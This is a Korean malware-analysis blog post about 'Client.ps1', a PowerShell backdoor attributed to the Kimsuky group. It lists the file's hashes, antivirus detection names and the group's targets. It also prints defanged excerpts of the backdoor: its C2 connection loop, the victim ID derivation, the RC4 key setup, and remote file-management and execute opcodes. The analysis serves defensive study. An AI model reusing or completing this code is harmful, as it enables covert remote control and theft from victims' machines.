꿈을꾸는 파랑새

오늘은 2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 표적 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)에서 만든 것이며 오늘은 다루는 악성코드는 다음과 같습니다. 짜증 나는 것은 이놈들 북한 식당에 숨어서 만든 작품 인지라~정말 코드가 길다. 개 짜증 난다.
파일명:Client.ps1
사이즈:33.1 KB
MD5:c81ed44799aefb540123159618f7507c
SHA-1:fd23177a4481f39fe53a306e2d7fe282cb30a87d
SHA-256:87b5a1f79a2be17401d8b2d354c61619ce6195b57e8a5183f78b98e233036062

Client.ps1 서버 연결
Client.ps1 서버 연결

서버 연결

while( $true ) {
        $fContinue = CommunicationWithServer -StrIp "127(.)0(.)0(.)1" -UPort 8888;
        if( $fContinue -eq $false ) {
            Write-Host "Server requests to close client.";
            break;
        }
        Start-Sleep -Seconds 30;
    }
}  
RemoteFileManager

코드 설명

해당 스크립트는 무한 루프를 사용하여 지속적으로 서버와 통신하는 간단한 클라이언트
스크립트는 서버가 클라이언트에게 연결을 종료하도록 요청할 때까지 지속적으로 서버와 통신을 시도합
1. 무한 루프 (`while ($true)`):
해당 루프는 특정 조건이 충족될 때까지 계속 실행
$true는 항상 참이므로 루프는 무한히 반복 그러나 break 문에 의해 루프가 종료
2.서버와의 통신 (`CommunicationWithServer -StrIp "127(.)0(.)0(.)1" -UPort 8888`):
CommunicationWithServer 는 서버와의 통신을 수행하는 함수
함수는 -StrIp 매개변수를 통해 서버의 IP 주소와 -UPort 매개변수를 통해 서버의 포트 번호를 전달
여기서는 로컬 호스트(127(.)0(.)0(.)1)와 포트 8888 을 사용하고 있음
해당 함수의 반환 값($fContinue)은 서버가 통신을 계속할지를 결정하는 데 사용
3.서버의 종료 요청 확인:
if ($fContinue -eq $false) 문은 서버가 클라이언트에게 연결을 종료하라고 요청할지를 확인
$fContinue 가 $false 이면 서버가 종료를 요청한 것으로 간주하고 Server requests to close client. 라는 메시지를 출력하고 break  문을 사용하여 무한 루프를 종료
4. 일시 중지 (Start-Sleep -Seconds 30):
Start-Sleep -Seconds 30 명령은 다음 통신 시도 전 30초 동안 일시 중지
서버에 과도한 요청을 보내는 것을 방지

Client.ps1 서버 연결 2
Client.ps1 서버 연결 2

서버 와 통신

Function CommunicationWithServer
    {
        [CmdletBinding()]
        Param (
            [Parameter(Position = 0, Mandatory = $True)]
            [String] $StrIp,
            [Parameter(Position = 1, Mandatory = $True)]
            [uint16] $UPort
        )
        $Ip = [System.Net.Dns]::GetHostA(d)dresses($strIp);
        $Address = [System.Net.IPAddr(e)ss]::Parse($Ip);

        while($True)
        {
            try {
                $Socket = New-Object System(.)Net(.)Sock(e)ts.TcpC(l)ient($A(d)dress, $UPort);
                if($So(c)ket.Connected) {
                    break;
                }
            }
            catch {}
            Start-Sleep -M(i)lliseconds 10000;
        }

        $SocketStream = $Socket.GetStream();

코드 설명

CommunicationWithServer는 TCP 클라이언트를 사용하여 특정 IP 주소와 포트에 연결을 시도하는 기능을 수행합
함수는 연결이 성공할 때까지 무한 루프 내에서 재시도
Function CommunicationWithServer:
해당 함수는 특정 IP 주소와 포트에 연결을 시도하는 클라이언트 소켓을 생성
매개변수:
StrIp:서버의 IP 주소를 문자열 형식으로 받음
UPort: 서버의 포트를 uint16 형식으로 받음
IP 주소 및 소켓 설정
IP 주소 확인 및 변환:
[Systehttp://m.Net.Dns]::GetHostAddresses($strIp):주어진 호스트 이름 또는 IP 주소를 DNS를 통해 IP 주소 목록으로 변환
[System.Net.IPAddress]::Parse($Ip): 문자열 형식의 IP 주소를 IPAddress 객체로 변환
GetHostAddresses 는 해당 IP 주소 객체를 반환하므로 직접 변환이 필요 없음
연결 시도
무한 루프 내에서 연결 시도:
while ($True):연결이 성공할 때까지 무한 루프를 실행
예외 처리 및 연결 시도:
try 블록 내에서 TCP 클라이언트를 생성하고 지정된 주소 및 포트로 연결을 시도
New-Object System.Net.Sockets.TcpClient($Address, $UPort):TCP 클라이언트 객체를 생성하고 서버에 연결을 시도
연결이 성공하면 if ($Socket.Connected) 블록이 실행되며 break 문에 의해 루프가 종료
catch {}:연결 실패 시 발생하는 예외를 무시하고 재시도
재시도 간격:
Start-Sleep -Milliseconds 10000:연결이 실패하면 10초(10000 밀리초) 동안 대기한 후 재시도

고유 ID

Client.ps1 고유 ID
Client.ps1 고유 ID

$SocketStream = $Socket.GetStream();
    
        #UniqueId Generate
        $HashObject = [Secu(r)ity.Cryp(t)ography.Has(h)Algorithm]::Create("MD5");
        $EncObject = New-Obje(c)t System.Text(.)UTF8Encoding;
        $Ipv4Address = GetIpv4Ad(d)ress;
        $MacAddress  = GetMacAddres(s) -Ip(v)4Address $Ipv4Address;
        $HashValue = $HashObject.ComputeHa(s)h($En(c)Object.GetBytes($MacAddress + $Ipv(4)Address));
        
        $StrTemp = [System(.)BitConverter]::ToStr(i)ng($H(a)shValue);
        $StrU(n)iqueId = Remo(v)eHyphe(n) -StrIn $StrTemp;
        $ByUniqu(e)Id = $EncObject(.)GetB(y)tes($StrUniqueId);

        #RC4 Key Ge(n)erate
        $SendKeyD(a)ta = $Enc(O)bject.GetBytes($Str(U)niqueId + "_r");
        $RecvKeyData = $EncObjec(t).Ge(t)Bytes($StrUni(q)ueId + "_s");

        $Gl(o)bal:SendKey = PrePa(r)e_Key -Key(D)ata $Sen(d)KeyData;
        $Global:RecvKe(y) = PrePa(r)e_Key -Key(D)ata $RecvKeyData;

        #Send to Server OP_UN(I)Q_ID Message
        [uint16]$nOpCode       = [_O(P)_CODE]::OP_UNIQ_ID;        
        [uint32]$nUniqueIdLen  = $ByU(n)iqueId.Length;
        [uint32]$nDataLen      = 4 (+) $nUniqueIdLen;

        $FirstPacket = New-Object System(.)Byte[](2 + 4 + $nDataLen);

        [Array]::Copy([BitConverter]::GetBy(t)es($nOpCode),      0, $Fir(s)tPacket, 0,  2);
        [Array]::Copy([BitConverter]::GetBytes(()$nDataLen),     0, $First(P)acket, 2,  4);
        [A(r)ray]::Copy([BitConverter]::GetBytes($nUniqueIdLen), 0, $FirstPac(k)et, 6,  4);
        [Array]::Copy($By(U)niqueId,                             0, $Fir(s)tPacket, 10, $nUniqueIdLen);

        $SocketStream(.)Write($FirstPacket, 0, $Fir(s)tPacket.Length);
        Start-Sleep -Millisecon(d)s 10;

코드 설명

클라이언트-서버 통신 설정이며 클라이언트의 고유 식별자를 생성하고 암호화 키를 준비한 다음 서버에 초기 패킷을 전송하는 역할
$SocketStream:변수는 TCP 연결을 통해 데이터를 읽고 쓸 수 있는 네트워크 스트림을 생성
$Socket은 서버와의 연결이 성공했을 때 만들어진 소켓 객체
고유 ID 생성
1.$HashObject:
MD5 해시 객체를 생성하여 장치의 MAC 주소와 IPv4 주소로부터 고유 식별자를 계산
2.$EncObject:
문자열을 바이트 배열로 변환하는 데 사용되는 UTF-8 인코딩 객체
3.$Ipv4Address & $MacAddress:
스크립트는 로컬 IPv4 주소와 MAC 주소를 가져오며 여기서 GetIpv4Address 및 GetMacAddress 함수는 스크립트의 다른 부분에 정의
4.$HashValue:
MAC 주소와 IPv4 주소를 결합한 후 MD5로 해싱하여 고유한 식별자를 생성
해시 값은 16진수 문자열로 변환
5.$StrUniqueId & $ByUniqueId:
해시 문자열에서 하이픈을 제거하기 위해 RemoveHyphen 함수를 사용 결과 문자열을 바이트 배열로 인코딩
RC4 키 생성
1.$SendKeyData & $RecvKeyData:
고유 식별자에 각각 _r 과 _s 를 붙여 두 개의 키 데이터를 생성
2.$Global:SendKey & $Global:RecvKey:
PrePare_Key 함수는 키 데이터를 RC4 암호화에 사용될 수 있는 형식으로 준비
해당 키들은 전역 변수로 저장되어 나중에 통신 데이터를 암호화하고 복호화하는 데 사용
암호화 및 암호 해독을 위해 각각 키가 준비되어 전역 변수에 저장됩니다.
메시지 전송 및 수신을 위한 구조가 여기에서 정의되고 고유 ID가 포함된 메시지가 소켓 스트림을 사용하여 서버로 전송

원격 제어 코드

Client.ps1 원격 제어
Client.ps1 원격 제어

Function RemoteFileManager
{
    Add-Type -TypeDefinition @"
    using System;
	using System(.)Diag(n)ostics;
	using System.Ru(n)time.InteropServices;
	using System.Secur(i)ty.Principal;

    [Flags]
    public enum _OP(_)CODE : ushort
    {
	    (O)P_UNIQ_ID		 =	0x401,
	    OP_(R)EQ_DRIVE_LIST    =	0x402,
	    OP_RES(_)DRIVE_LIST    =	0x403,
	    OP_REQ_PA(T)H_LIST     =	0x404,
	    OP_RES_PA(T)H_LIST     =	0x405,
	    OP_REQ_PAT(H)_DOWNLOAD =	0x406,
	    OP_RES_PATH(_)DOWNLOAD =	0x407,
	    OP_REQ_PAT(H)_DELETE   =	0x408,
	    OP_RES_PAT(H)_DELETE   =	0x409,
	    OP_REQ_FIL(E)_UPLOAD   =	0x40A,
	    OP_RES_FIL(E)_UPLOAD   =	0x40B,
	    OP_REQ_PAT(H)_RENAME   =	0x40C,
	    OP_RES_PAT(H)_RENAME   =	0x40D,
	    OP_REQ_CRE(A)TE_DIR    =  0x40E,
	    OP_RES_CRE(A)TE_DIR    =  0x40F,
	    OP_REQ_RES(T)ART       =  0x410,
	    OP_REQ_CLOSE         =  0x411,
	    OP_REQ_REM(O)VE        =  0x412,
	    OP_RES_DRIV(E)_ERROR	= 0x413,
	    OP_REQ_EXEC(U)TE	= 0x414,
	    OP_RES_EXEC(U)TE	= 0x415,
	    OP_REQ_CREA(T)E_ZIP	= 0x416,
	    OP_RES_CRE(A)TE_ZIP	= 0x417
    }

    [StructLayout(Layout(K)ind.Sequential)]
    public struct _RC(4)_KEY
    {
        public Byte[] state;
        public Byte x;
        public Byte y;
    }
"@

    $signatures = @'
	[DllImport("kernel32(.)dll")]
	public static extern UInt32 GetTickCount();
'@
    $API = Add-Type -Member(D)efinition $signatures -Name 'Win32' -Namespace API -PassThru

    $Global:SendKey = New-Obje(c)t _RC4_KEY;
    $Global:RecvKey = New-Obje(c)t _RC4_KEY;

    $Global:indexX = 0;
    $Global:indexY = 0;

코드 설명

Add-Type cmdlet을 사용하여 PowerShell 에 포함
_OP_CODE:여러 파일 및 디렉터리 관리 작업을 위한 명령 코드 목록을 정의 각 명령 코드는 특정 작업을 나타냅니다.
OP_REQ_DRIVE_LIST는 드라이브 목록 요청을 나타내고, OP_RES_DRIVE_LIST는 드라이브 목록 응답을 나타냄
_RC4_KEY:RC4 암호화 키 구조를 정의
RC4 키 구조는 state, x, y 세 가지 포함하며 RC4 알고리즘의 내부 상태를 관리
GetTickCount API 함수:
해당 함수는 시스템 시작 이후 경과한 시간을 밀리초 단위로 반환
Add-Type cmdlet을 사용하여 C# 코드에서 Win32 API 함수를 호출할 수 있도록 설정
-PassThru 매개변수를 사용하여 이 함수의 호출 가능 객체를 반환
백도어 스크립트의 주요 기능 일부들만 다루어 보았습니다. 이거 적으면 너무 글이 길어짐 Compile After Delivery라는 기술을 사용 csc.exe를 .Net 코드를 컴파일
2024-07-31 05:22:54 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Backdoor/PowerShell.Agent.SC197390
AliCloud:Backdoor:Win/Kimsuky.Y
ALYac:Trojan.PowerShell.Agent
Arcabit:Trojan.Generic.D447C092
Avast:Script:SNH-gen [Trj]
AVG:Script:SNH-gen [Trj]
BitDefender:Trojan.GenericKD.71811218
DrWeb:PowerShell.BackDoor.64
Emsisoft:Trojan.GenericKD.71811218 (B)
eScan:Trojan.GenericKD.71811218
ESET-NOD32:PowerShell/Kimsuky.Y
GData:Trojan.GenericKD.71811218
Google:Detected
Huorong:Trojan/Generic!453696AF478E1621
Ikarus:Trojan.PS.Agent
Kaspersky:Backdoor.PowerShell.Agent.eu
Kingsoft:Script.BAT.Generic.v
Microsoft:Trojan:Script/Wacatac.B!ml
Skyhigh (SWG):BehavesLike.PS.Exploit.nr
Tencent:Win32.Backdoor.Agent.Lajl
Trellix (HX):Trojan.GenericKD.71811218
VIPRE:Trojan.GenericKD.71811218
ZoneAlarm by Check Point:Backdoor.PowerShell.Agent.eu
입니다.
드라이브 및 경로 정보 검색, 파일 및 디렉터리 삭제, 파일 및 디렉터리 이름 바꾸기, 디렉터리 생성, 명령 실행, 파일 및 디렉터리를 ZIP 아카이브로 압축,서버에서 파일 다운로드 등이 포함된 백도어 이면 원격 파일 관리 및 서버와의 통신과 관련된 기능을 수행합니다.
대상: 주로 한국, 일본, 미국의 조직을 대상
기술: 자료를 훔치거나 원격 액세스를 제공할 수 있는 악성 코드를 다운로드하기 위한 악용이나 링크가 포함된 악성 문서를 사용
전술: 사회 공학 기술(예:스피어 피싱)과 워터링 홀 공격을 사용하여 피해자 시스템에 대한 초기 액세스 권한을 획득이 목적인 악성코드이며 해당 오늘은 간단하게 김수키(Kimsuky)에서 만든 백도어에 대해 글을 적어 보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band